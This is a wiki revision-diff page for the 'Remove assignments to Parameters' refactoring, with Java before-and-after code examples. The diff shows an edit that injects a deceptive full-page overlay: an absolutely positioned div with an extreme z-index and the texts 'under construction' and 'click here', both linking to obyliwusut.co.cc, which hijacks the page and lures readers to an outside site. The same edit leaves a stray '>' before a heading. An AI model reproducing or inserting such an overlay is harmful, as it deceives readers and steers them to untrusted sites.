Remove assignments to Parameters

From CSSEMediaWiki
(Difference between revisions)
Jump to: navigation, search
m
Line 16: Line 16:
 
Java uses pass by value exclusively.
 
Java uses pass by value exclusively.
  
== Additional Resources ==
+
>== Additional Resources ==
  
 
[http://sourcemaking.com/refactoring/remove-assignments-to-parameters sourcemaking.com]
 
[http://sourcemaking.com/refactoring/remove-assignments-to-parameters sourcemaking.com]
 +
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://obyliwusut.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]=
 +
----
 +
=[http://obyliwusut.co.cc CLICK HERE]=
 +
----
 +
</div>

Revision as of 04:10, 18 November 2010

The code assigns to a parameter.

   int discount (int inputVal, int quantity, int yearToDate) {
       if (inputVal > 50) inputVal -= 2;
       ...
   }

Use a temporary variable instead.

   int discount (int inputVal, int quantity, int yearToDate) {
       int result = inputVal;
       if (inputVal > 50) result -= 2;
       ...
   }

The main reason for removing assignments to parameters is due to lack of clarity and to confusion between pass by value and pass by reference. Java uses pass by value exclusively.

>== Additional Resources ==

sourcemaking.com


Personal tools